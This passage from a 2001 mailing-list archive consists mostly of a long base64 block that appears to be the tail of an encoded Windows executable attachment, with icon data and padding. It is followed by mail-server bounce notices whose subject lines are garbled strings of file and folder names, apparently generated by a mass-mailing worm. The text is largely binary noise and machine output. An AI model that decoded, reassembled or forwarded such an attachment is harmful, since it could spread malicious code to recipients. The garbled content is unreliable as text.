gAAAAAAAgP/////////4iAAAAAAAAIAAAAAAAAAACIAAAAAAAACIiIiIiIiIiIgAAAAA//////wA AAP8AAAD/AAAA/0AAAP9AAAD4QAAA8wAAAPMAAADiAAAA4AAAAOAAAADgAAAA4AAAAOAAAADwAAA A8AAAAPgAAAD4AAAA/AAAAP4AAAD/AAAA/0AAAP9ABAD/QAAA/0AAAP9AACH/QAAD/0AAB/9AAA/ /f/+f/wAAP8oAAAAIAAAAEAAAAABAAgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAA gAAAAICAAIAAAACAAIAAgIAAAMDAwADA3MAA8MqmAAQEBAAICAgADAwMABEREQAWFhYAHBwcACIi IgApKSkAVVVVAE1NTQBCQkIAOTk5AIB8/wBQUP8AkwDWAP/szADG1u8A1ufnAJCprQAAADMAAABm AAAAmQAAAMwAADMAAAAzMwAAM2YAADOZAAAzzAAAM/8AAGYAAABmMwAAZmYAAGaZAABmzAAAZv8A AJkAAACZMwAAmWYAAJmZAACZzAAAmf8AAMwAAADMMwAAzGYAAMyZAADMzAAAzP8AAP9mAAD/mQAA /8wAMwAAADMAMwAzAGYAMwCZADMAzAAzAP8AMzMAADMzMwAzM2YAMzOZADMzzAAzM/8AM2YAADNm MwAzZmYAM2aZADNmzAAzZv8AM5kAADOZMwAzmWYAM5mZADOZzAAzmf8AM8wAADPMMwAzzGYAM8yZ ADPMzAAzzP8AM/8zADP/ZgAz/5kAM//MADP//wBmAAAAZgAzAGYAZgBmAJkAZgDMAGYA/wBmMwAA ZjMzAGYzZgBmM5kAZjPMAGYz/wBmZgAAZmYzAGZmZgBmZpkAZmbMAGaZAABmmTMAZplmAGaZmQBm mcwAZpn/AGbMAABmzDMAZsyZAGbMzABmzP8AZv8AAGb/MwBm/5kAZv/MAMwA/wD/AMwAmZkAAJkz mQCZAJkAmQDMAJkAAACZMzMAmQBmAJkzzACZAP8AmWYAAJlmMwCZM2YAmWaZAJlmzACZM/8AmZkz AJmZZgCZmZkAmZnMAJmZ/wCZzAAAmcwzAGbMZgCZzJkAmczMAJnM/wCZ/wAAmf8zAJnMZgCZ/5kA mf/MAJn//wDMAAAAmQAzAMwAZgDMAJkAzADMAJkzAADMMzMAzDNmAMwzmQDMM8wAzDP/AMxmAADM ZjMAmWZmAMxmmQDMZswAmWb/AMyZAADMmTMAzJlmAMyZmQDMmcwAzJn/AMzMAADMzDMAzMxmAMzM mQDMzMwAzMz/AMz/AADM/zMAmf9mAMz/mQDM/8wAzP//AMwAMwD/AGYA/wCZAMwzAAD/MzMA/zNm AP8zmQD/M8wA/zP/AP9mAAD/ZjMAzGZmAP9mmQD/ZswAzGb/AP+ZAAD/mTMA/5lmAP+ZmQD/mcwA /5n/AP/MAAD/zDMA/8xmAP/MmQD/zMwA/8z/AP//MwDM/2YA//+ZAP//zABmZv8AZv9mAGb//wD/ ZmYA/2b/AP//ZgAhAKUAX19fAHd3dwCGhoYAlpaWAMvLywCysrIA19fXAN3d3QDj4+MA6urqAPHx 8QD4+PgA8Pv/AKSgoACAgIAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA////AAoKCgoKCgoKCgoK CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK6xISEhISEhISEhISEhISEhISEhISEhISCgoKCgoK CgrrvLy8vLy8vLy8vLy8vLy8vLy8vLy8vBIKCgoKCgoKCuvz8/Pz8/Mb8xsbGxsbGxsbGxsbGxu8 EgoKCgoKCgoK6wr09PTz9PMbG/Mb8xsbGxsbGxsbG7wSCgoKCgoKCgrrCvb09vTz9PPzG/Mb8xvz GxsbGxsbvBIKCgoKCgSnp6cK9Pb09vTz9PTz8/Mb8xvzGxsbGxu8EgoKCgoEpwoK66cKhaeKioqK 8/Tz9PPz8xvzGxsbG7wSCgoKCgSnCgoKCqeLrM7Ozs6KivTz9PMb8xvzGxsbvBIKCgrrpwQKZoan i87Ozs7Ozs7OivTz9PMb8xsbGxu8EgoKCuqtpmaFp4vOzqysrM7Ozs7OivTz8/MbGxsbG7wSCgoK 6gOthqeLrM6s9vb2p87OzrLOivTz8/MbGxsbvBIKCgrqc86nhovOrPb29vb2hc6ystOK8/TzG/Mb Gxu8EgoKCut0A62ni86s9vb29vb29vb29vP08/TzG/MbG7wSCgoK65l0z4uszqysrKysrKysrKys rPT09PPz8xsbvBIKCgoK65ntrM7Ozs7OzrOzs9PT09Os9vTz9PMb8xu8EgoKCgqnc5rOzqysrKys rKysrNnZ06z09PTz8/MbG7wSCgoKCgqGkaDOrKz29vb29oWs6NnTrPb09PTz8/MbvBIKCgoKCqeG kaDOrKz29vaFrLPh6Kz29Pb08/TzGxu8EgoKCgoKCqestO+srKenp6yz2ejTrPb29PT08/PzG7wS CgoKCgoKCqesrLvOzs7Os9Oz06z29vT29PT08/PzvBIKCgoKCgoKCqeszs7Ozs7Os9Os9vbO9vT2 9PTz87wHEgoKCgoKCgoK6wqsrKysrKysrPb29qz29vT09PO8B5ISCgoKCgoKCgrrCvb29vasrKz2 9vasCvb09vTzvAeSkhIKCgoKCgoKCusK9vb29vb2rKysrPb29vb087wHkpLrEgoKCgoKCgoK6wr2 9vb29vb29vb29vb29vYSQ0NDQ0NDCgoKCgoKCgrrCvb29vb29vb29vb29vb29pIKG7ySEgoKCgoK CgoKCusK9vb29vb29vb29vb29vb2khu8khIKCgoKCgoKCgoK6wr29vb29vb29vb29vb29vaSvJIS CgoKCgoKCgoKCgrrCvb29vb29vb29vb29vb29pKSEgoKCgoKCgoKCgoKCusKCgoKCgoKCgoKCgoK CgoKkhIKCgoKCgoKCgoKCgoK6+zs7Ozs7Ozs7Ozs7Ozs7OzsCgoKCgoKCgr//////AAAA/wAAAP8 AAAD/QAAA/0AAAPhAAADzAAAA8wAAAOIAAADgAAAA4AAAAOAAAADgAAAA4AAAAPAAAADwAAAA+AA AAPgAAAD8AAAA/gAAAP8AAAD/QAAA/0AEAP9AAAD/QAAA/0AAIf9AAAP/QAAH/0AAD/9//5//AAA /ygAAAAwAAAAYAAAAAEACAAAAAAAAAkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAA gAAAAIAAgACAgAAAwMDAAMDcwADwyqYABAQEAAgICAAMDAwAERERABYWFgAcHBwAIiIiACkpKQBV VVUATU1NAEJCQgA5OTkAgHz/AFBQ/wCTANYA/+zMAMbW7wDW5+cAkKmtAAAAMwAAAGYAAACZAAAA zAAAMwAAADMzAAAzZgAAM5kAADPMAAAz/wAAZgAAAGYzAABmZgAAZpkAAGbMAABm/wAAmQAAAJkz AACZZgAAmZkAAJnMAACZ/wAAzAAAAMwzAADMZgAAzJkAAMzMAADM/wAA/2YAAP+ZAAD/zAAzAAAA MwAzADMAZgAzAJkAMwDMADMA/wAzMwAAMzMzADMzZgAzM5kAMzPMADMz/wAzZgAAM2YzADNmZgAz ZpkAM2bMADNm/wAzmQAAM5kzADOZZgAzmZkAM5nMADOZ/wAzzAAAM8wzADPMZgAzzJkAM8zMADPM /wAz/zMAM/9mADP/mQAz/8wAM///AGYAAABmADMAZgBmAGYAmQBmAMwAZgD/AGYzAABmMzMAZjNm AGYzmQBmM8wAZjP/AGZmAABmZjMAZmZmAGZmmQBmZswAZpkAAGaZMwBmmWYAZpmZAGaZzABmmf8A ZswAAGbMMwBmzJkAZszMAGbM/wBm/wAAZv8zAGb/mQBm/8wAzAD/AP8AzACZmQAAmTOZAJkAmQCZ AMwAmQAAAJkzMwCZAGYAmTPMAJkA/wCZZgAAmWYzAJkzZgCZZpkAmWbMAJkz/wCZmTMAmZlmAJmZ mQCZmcwAmZn/AJnMAACZzDMAZsxmAJnMmQCZzMwAmcz/AJn/AACZ/zMAmcxmAJn/mQCZ/8wAmf// AMwAAACZADMAzABmAMwAmQDMAMwAmTMAAMwzMwDMM2YAzDOZAMwzzADMM/8AzGYAAMxmMwCZZmYA zGaZAMxmzACZZv8AzJkAAMyZMwDMmWYAzJmZAMyZzADMmf8AzMwAAMzMMwDMzGYAzMyZAMzMzADM zP8AzP8AAMz/MwCZ/2YAzP+ZAMz/zADM//8AzAAzAP8AZgD/AJkAzDMAAP8zMwD/M2YA/zOZAP8z zAD/M/8A/2YAAP9mMwDMZmYA/2aZAP9mzADMZv8A/5kAAP+ZMwD/mWYA/5mZAP+ZzAD/mf8A/8wA AP/MMwD/zGYA/8yZAP/MzAD/zP8A//8zAMz/ZgD//5kA///MAGZm/wBm/2YAZv//AP9mZgD/Zv8A //9mACEApQBfX18Ad3d3AIaGhgCWlpYAy8vLALKysgDX19cA3d3dAOPj4wDq6uoA8fHxAPj4+ADw +/8ApKCgAICAgAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8ACgoKCgoKCgoKCgoKCgoKCgoK CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgrrEhISEhISEhISEhISEhISEhIS EhISEhISEhISEhISEhISEhISCgoKCgoKCgoKCgrrEhISEhISEhISEhISEhISEhISEhISEhISEhIS EhISEhISEhISCgoKCgoKCgoKCgrrvLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vBIS CgoKCgoKCgoKCgrr8/Pz8/Pz8/Pz8xvz8xsbGxsbGxsbGxsbGxsbGxsbGxsbvBISCgoKCgoKCgoK Cgrr8/Pz8/Pz8/Pz8xvz8xsbGxsbGxsbGxsbGxsbGxsbGxsbvBISCgoKCgoKCgoKCgrrCgr09PT0 9PP09PMbGxvz8xvz8xsbGxsbGxsbGxsbGxsbvBISCgoKCgoKCgoKCgrrCgr09PT09PP09PMbGxvz 8xvz8xsbGxsbGxsbGxsbGxsbvBISCgoKCgoKCgoKCgrrCgr29PT29vTz8/Tz8/MbG/MbG/MbG/Pz GxsbGxsbGxsbvBISCgoKCgoKBASnp6enCgr09vb09Pb09PP09PTz8/Pz8xvz8xsb8xsbGxsbGxsb vBISCgoKCgoKBASnp6enCgr09vb09Pb09PP09PTz8/Pz8xvz8xsb8xsbGxsbGxsbvBISCgoKCgoE p6cKCgrrp6cKhYWnp4qKioqKivP09PP09PPz8/PzG/PzGxsbGxsbvBISCgoKCgoEp6cKCgoKCgqn i4usrM7Ozs7OzoqKivTz8/Tz8xsb8xsb8xsbGxsbvBISCgoK6+unBAQKZmaGp6eLzs7Ozs7Ozs7O zs7Ozor09PP09PPzG/PzGxsbGxsbvBISCgoK6+unBAQKZmaGp6eLzs7Ozs7Ozs7Ozs7Ozor09PP0 9PPzG/PzGxsbGxsbvBISCgoK6uqtpqZmhYWni4vOzs6srKysrM7Ozs7Ozs6KivTz8/Pz8xsbGxsb GxsbvBISCgoK6uoDra2Gp6eLrKzOrKz29vb29qfOzs7OzrLOzor09PPz8/PzGxsbGxsbvBISCgoK 6upzzs6nhoaLzs6s9vb29vb29vaFhc6ysrLT04rz8/T08xsb8xsbGxsbvBISCgoK6upzzs6nhoaL zs6s9vb29vb29vaFhc6ysrLT04rz8/T08xsb8xsbGxsbvBISCgoK6+t0AwOtp6eLzs6s9vb29vb2 9vb29vb29vb29vP09PPz9PPzG/PzGxsbvBISCgoK6+uZdHTPi4uszs6srKysrKysrKysrKysrKys rKz09PT09PPz8/PzGxsbvBISCgoKCgrrmZntrKzOzs7Ozs7Ozs6zs7Ozs9PT09PT06z29vT08/T0 8xsb8xsbvBISCgoKCgrrmZntrKzOzs7Ozs7Ozs6zs7Ozs9PT09PT06z29vT08/T08xsb8xsbvBIS CgoKCgqnc3Oazs7OrKysrKysrKysrKysrKzZ2dnT06z09PT09PPz8/PzGxsbvBISCgoKCgqnc3Oa zs7OrKysrKysrKysrKysrKzZ2dnT06z09PT09PPz8/PzGxsbvBISCgoKCgoKhoaRoKDOrKys9vb2 9vb29vaFhazo6NnT06z29vT09PT08/Pz8xsbvBISCgoKCgoKp6eGkZGgzs6srKz29vb29oWsrLPh 4eisrPb09Pb29PPz9PPzGxsbvBISCgoKCgoKp6eGkZGgzs6srKz29vb29oWsrLPh4eisrPb09Pb2 9PPz9PPzGxsbvBISCgoKCgoKCgqnrKy07++srKynp6enp6yzs9no6NOsrPb29vT09PT08/Pz8xsb vBISCgoKCgoKCgoKp6esrKy7zs7Ozs7OzrPT07PT06z29vb09Pb29PT09PPz8/PzvBISCgoKCgoK CgoKCgqnrKzOzs7Ozs7Ozs6zs9OsrPb29s729vT09vT09PPz87y8BxISCgoKCgoKCgoKCgqnrKzO zs7Ozs7Ozs6zs9OsrPb29s729vT09vT09PPz87y8BxISCgoKCgoKCgoKCgrrCgqsrKysrKysrKys rKz29vb29qz29vb29PT09PPzvAcHkhISCgoKCgoKCgoKCgrrCgr29vb29vasrKysrPb29vasrAr2 9vT09vT087y8B5KSkhISCgoKCgoKCgoKCgrrCgr29vb29vb29vasrKysrKz29vb29vb29PPzvAcH kpKS6xISCgoKCgoKCgoKCgrrCgr29vb29vb29vasrKysrKz29vb29vb29PPzvAcHkpKS6xISCgoK CgoKCgoKCgrrCgr29vb29vb29vb29vb29vb29vb29vb29hISQ0NDQ0NDQ0NDCgoKCgoKCgoKCgrr Cgr29vb29vb29vb29vb29vb29vb29vb29pKSChsbvJKSEgoKCgoKCgoKCgoKCgrrCgr29vb29vb2 9vb29vb29vb29vb29vb29pKSChsbvJKSEgoKCgoKCgoKCgoKCgrrCgr29vb29vb29vb29vb29vb2 9vb29vb29pKSG7y8khISCgoKCgoKCgoKCgoKCgrrCgr29vb29vb29vb29vb29vb29vb29vb29pKS vJKSEgoKCgoKCgoKCgoKCgoKCgrrCgr29vb29vb29vb29vb29vb29vb29vb29pKSkhISCgoKCgoK CgoKCgoKCgoKCgrrCgr29vb29vb29vb29vb29vb29vb29vb29pKSkhISCgoKCgoKCgoKCgoKCgoK CgrrCgr29vb29vb29vb29vb29vb29vb29vb29pKSkhISCgoKCgoKCgoKCgoKCgoKCgrrCgoKCgoK CgoKCgoKCgoKCgoKCgoKCgoKCpKSEgoKCgoKCgoKCgoKCgoKCgoKCgrr7Ozs7Ozs7Ozs7Ozs7Ozs 7Ozs7Ozs7Ozs7OzsCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK CgoKCgoK////////SUz/AAAAAAdGSf8AAAAAB3hF/wAAAAAHAEn/AAAAAAdfTf8AAAAAB0Ux/2AA AAAHMUb/YAAAAAdfRv9gAAAAB1Vf4GAAAAAHeEXgYAAAAAcASccAAAAAB19DxwAAAAAHeEUEAAAA AAcASQQAAAAAB19DAAAAAAAHTEwAAAAAAAcxAAAAAAAAB0VEAAAAAAAHWQAAAAAAAAcAAQAAAAAA B0RJwAAAAAAHMHjAAAAAAAcAAMAAAAAAB1RfwAAAAAAHeEXgAAAAAAcASeAAAAAAB19Q4AAAAAAH eEX4AAAAAAcASfwAAAAAB19Q/wAAAAAHSU7/AAAAAAcyNv9gAAAAB19F/2AACAAHU1T/YAAAAAdJ Qf9gAAAABzI3/2AAAAAHX0X/YAAACB9QRf9gAAAIHzEy/2AAAAA/RF//YAAAAP9FUP9gAAAB/3hF /2AAAAH/AEn/YAAAAf9fU/9////H/0FM/wAAAA//MkH///////9fRf///////0RPKAAAACAAAABA AAAAAQABAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///8AAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///// /AAAA/3///v9///7/f//+/3///vh///7zAH/+8wAf/uIAD/7gAAf+4A4T/ugfO/7oH//+7AAD/vY D+/72ADv++x87/vmOd/78wPf+/iHv/v8A2/7/QDv+/3x3/v9/D/z/f/+A/3///f9///v/f//3/3/ /7/9//9//f///05QQUQAAAEABQAQEBAAAQAEACgBAAABACAgEAABAAQA6AIAAAIAICAAAAEACACo CAAAAwAwMAAAAQAIAKgOAAAEACAgAgABAAEAMAEAAAUAUEFERElOR1hYUEFERElOR1BBRERJTkdY WFBBRERJTkdQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQ QURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQ QURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HUEFE RElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFE RElOR1BBRERJTkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJ TkdYWFBBRERJTkdQQURESU5HWFhQQURESU5HUEFERElOR1hYUEFERElOR1BBRERJTkdYWFBBRERJ TkdQQURESU5HWAAQAAA0AQAAJTBDMFEwXzBtMJwwqDDnMPYwCjEVMSYxZzGGMaAx2DHvMQcyaTJz MoEylDKxMsIy/DJJM1YzZDNzM58zETQZNG00mDThNGk1gDXKNeM1+jURNlk2fjaJNp42yjYCNx83 LjdIN3s3nDeoN7E3xjfRN+43/TcdOD44SjhgOGU4qDi2OMk42jj/OBY5ITlAOVc5kzm4Oc459TkB OiE6WzpkOm86kjqkOr86yDrfOvA6CDsZO087VTtrO387iTudO7k7xjvhOwo8gTyWPKM8ujzePO48 Jj0yPTg9RT1PPV49aj2JPac90j33PQw+Ij4pPi4+RT5ePo8+nT6/PtA+1T7ePuk+8z76Phc/Hz8p PzA/NT9AP00/VD9dP3w/gj+JP5U/oz+vP80/1j/eP+0/ACAAAPgBAAACMBAwHzAnMC8wQzCGMJEw oTCqML4wzzDkMOow9zD8MAExCjERMRoxITEqMTExOjFBMUoxWTFxMXYxfTGdMbIxvzHxMScySzKa MqAysjLEMgAzLTM0M1MzYTO0M/gz/zMZNC40OTQ/NFE0WTRjNG80dTR8NIU0izSoNK40xzTXNNw0 7DTxNAE1BjUXNRw1LDUxNUQ1STVaNV81cDV1NYU1ijWaNZ81rzW0Ncc1zDXcNeE18TX2NQY2CzYc Niw2MTZENkk2WTZeNm82gDaQNpU2pTaqNr02wjbSNtc25zbsNvw2ATcRNxY3JjcrNz43QzdTN1g3 aDdtN303gjeSN5c3pzesN783xDfUN9k36TfuN/43AzgTOBg4KDgtOEA4RThVOFo4ajhvOH84hDiU OJk4qTiuOME4xjjWONs46zjwOAA5BTkVORo5KjkvOUI5RzlXOVw5bDlxOYE5hjmWOZs5rDmyObc5 vTnCOcc50jnYOd454znoOfY5/DoJOzg7QTtfO2g7djt/O5c7ozvEO/Y7EzxUPGQ8pjzZPP08DD0c PTQ9ij2SPbM9uT2/PcU90T3cPeI96T3vPQU+Mj5VPn4+iT6nPrw+xj7NPtQ+2z7iPuk+8D73Pv4+ BT8MPxM/Gj8hPyg/Lz9RP1g/cT/pP/A/ADAAADwBAAAJMBwwJzAzMD8wWDB9MIQwGzGgMbEx0jHn MR0yPDJXMnQyrzLGMtcy6jIwM0kzazN+M8UzyzPhM/Mz/TMPNCs0NjRCNFU0ezSLNMw07DQMNSw1 PjVQNWI1cTWjNbI1vTXWNeM16TUuNjQ2SDZnNm42fTaDNqU2zTbiNvs2Hjc/N1E3VjehN643uDe+ N9436DcDOA04EzgbOCE4LTg6OEY4TDhxOMI45Tj4OAY5GTkyOUQ5TzlUOVo5bTl2OYk5jzmnObE5 yzneOfk5DjodOjI6GjskO5k7Gjw1PD88TTxgPGY8eTyPPJ48pTy0PNY85jz1PP08Az0SPRg9Mj1P PWg9hT2PPZU9rD2+PeU99j0OPiI+LD5APlE+Vz5pPnY+kT66PgE/Jj82P1c/dT+jP8g/9j8AAABA AABYAgAAGTAuMDswUjB2MIYwtTC/MMUwyzAyMTcxPTFRMVcxZDFvMXYxfzGZMbQxxDHVMeox7zEA MisyMDI2MkEyVTJgMoEynDKlMqwy3zLvMvYyLjM/M1YzXDNrM4QzjTOrM7Yz0jPpM/AzDDQSNCQ0 OTRLNGE0djSDNIk0njSrNNQ02jTkNPU0+zQCNRY1LjU3NUo1UDV1NXs1kzWpNbA1wTXSNdg14zXx NRQ2RjZrNqY24DYSNzc3fTeIN443tze9N9U36jfvNxA4LTg0OEE4TjhnOHc4fzieOK44tDjVONw4 6DjuOAU5EjkgOSg5LTk8OUQ5UDlYOWQ5bDl5OX85ijmTOao5tjnKOdM55jkiOjM6PTpCOks6Vzpc OmQ6aTpvOnY6ezqBOog6jTqTOpo6nzqlOq06szq6OsA6xzrMOtI62TreOuQ66zrwOvY6/ToCOwg7 DzsWOxw7IzsoOzE7PztHO0w7VTtcO2Q7aTtvO3Y7ezuBO4g7jTuTO5o7nzulO6w7sTu6O8E7yTvO O9Q72zvgO+Y77TvyO/g7/zsEPAo8ETwWPBw8IzwoPC48NTw6PEM8TjxWPFs8YTxoPG08czx6PH88 hTyMPJE8lzyePKM8qTywPLU8uzzCPMc8zTzUPNk83zzmPOs88Tz4PP08Az0KPQ89FT0cPSE9Jz0u PTM9OT1APUU9Sz1SPVc9XT1kPWk9bz12PXs9gT2IPY09kz2aPZ89pT2sPbE9tz2+Pck90D3cPeg9 9D0APhw+Lj5KPnY+yj7QPug+FT8uP0o/XD9tPwBQAAA8AQAAOjBFMFoweDCYMNAw7TD9MAsxGjEp MUQxezGqMbcxzzHlMfQxBjIVMiYyNzJNMmQyijKZMqcyrTLEMs8y1zISMxgzKjMHNCE0KjRANEY0 TzSgNNU04zT6NAs1LTVCNVI1WzVvNXk1pzWyNco10zXcNQ42FDYmNkk2UzZlNoA2izakNtY2EDcw N2I3kDeiN643tDfnN/Y3ETgXOCU4OjhFOFI4CDkOOSo5NzlQOXA5sjm4OcI50zntOfk5AjoTOjc6 PTpGOk46WDphOm06dTp8Oo46lDqdOsQ67ToDOzs7TDtvO4k7mjvQO+07AzwOPE48WTxrPLI8Dj1O PXk9qT3vPfU9Cz4aPis+MT5RPl4+Zj5sPnc+kj6aPqU+5T4RPx0/NT8+P1c/Xz9wP5k/uj/EP/U/ AAAAYAAApAEAABow2jDgMPwwHjE0MU4xVzGbMaExqzHDMWIyezKUMv8yFjMuM14zZDNrM4MzlDOa M6IzsTPTM9kz3zPuM/4zBDQPNDE0NzRCNEg0VjReNGU0ajRwNIY0jTSUNK80ujTANNI03zTnNPY0 AjUpNT41RjVSNVo1aTV2NXw1hzWQNZ01ozWoNa41tDW5Nb818jX5NQQ2ITZuNpM2uzbENsk2zzbW Nts26jbwNvw2BDcJNyk3NTdYN203eDeGN5A3njeoN7M3vjfcN+E35zfyN/g3CTgVOBo4OzhGOEs4 UjhXOF04YziBOJc4ozitOLc4zzjrOPo4BDkZOSA5RjlMOVs5ZDl2OYA5kjmkOao5tTnFOeU59DkA OgY6EDovOoc6lTrGOgY7DjsWOyg7ODs+O207hjujO7w7AjwTPCE8Ljw5PEA8XzxxPH88ljycPKI8 uTzHPNw84TzmPOw8+DwGPSs9MT15PZE9lz2uPeM98D0GPhU+Vj5cPnI+eD6BPqM+sz67PtQ+Gz8j Pzs/Qj9NP1Q/ej+FP5Q/rD+3P+4/AAAAcAAAmAAAABMwdjB+MJcwnTCiMMcwzTDgMO4w9TD7MAEx BzEgMScxNDFLMWQxajF+MZgxqDHRMSMyQjJgMnQykzKxMuoyATMZMyUzNzNJM3QzezODM4kzjjOT M8UzyzPRM9cz5jPsM/Iz+DP+MwQ0EjQaNCA0KzQ4NEA0TjRTNFg0XTRoNHU0fzSUNKA0pjTINNo0 NjVSNQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAA= --====_ABC1234567890DEF_==== From MAILER-DAEMON Tue Sep 18 10:11:27 2001 From: MAILER-DAEMON (Mail Delivery System) Date: Tue Sep 18 10:11:27 2001 Subject: [thelist] Undelivered Mail Returned to Sender Message-ID: <20010918151048.1711AAB8D0@mx7.terra.com.br> This is the Postfix program at host mx7.terra.com.br. I'm sorry to have to inform you that the message returned below could not be delivered to one or more destinations. For further assistance, please send mail to If you do so, please include this problem report. You can delete your own text from the message returned below. The Postfix program : unknown user: "noticiasterra" -------------- next part -------------- An embedded message was scrubbed... From: Subject: ware\Microsoft\WindoJb4 ?prasanacalvin 03elefantecalvin 05desktoppadroes de desenvolvimentokris lunch 2primeiro_emailcanibalcalvin 01com+ application guidelines for visual basic developmentmenumenuprimeiro_emailterrorcalvin 02com+ application guidelinesmx.terra.com.br.baiano Date: Tue, 18 Sep 2001 12:10:45 -0300 (GMT+3) Size: 49438 URL: From lyris-admin at p2p.wrox.com Tue Sep 18 10:14:48 2001 From: lyris-admin at p2p.wrox.com (Lyris ListManager) Date: Tue Sep 18 10:14:48 2001 Subject: [thelist] Re: ware\Microsoft\WindoJ--b4 ó-prasanacalvin 03elefantecalvin 05desktoppadroes de desenvolvimentokris lunch 2primeiro_emailcanibalcalvin 01com+ application guidelines for visual basic developmentmenumenu Message-ID: Sorry, but Lyris ListManager did not find your email address -> "thelist at lists.evolt.org" listed as a member of javascript. Only members of javascript are allowed to contribute messages. Because Lyris ListManager could not confirm that you are a member of javascript, your message was not accepted. --- Return-Path: Received: from FTHGTEIXEIR ([64.133.24.16]) by mail.p2p.wrox.com with SMTP (Lyris ListManager WIN32 version 4.1.2); Tue, 18 Sep 2001 16:21:37 +0100 From: Subject: ware\Microsoft\WindoJb4 ?prasanacalvin 03elefantecalvin 05desktoppadroes de desenvolvimentokris lunch 2primeiro_emailcanibalcalvin 01com+ application guidelines for visual basic developmentmenumenuprimeiro_emailterrorcalvin 02com+ application guidelinesmail.p2p.wrox.com.greencard expenses MIME-Version: 1.0 Content-Type: multipart/related; 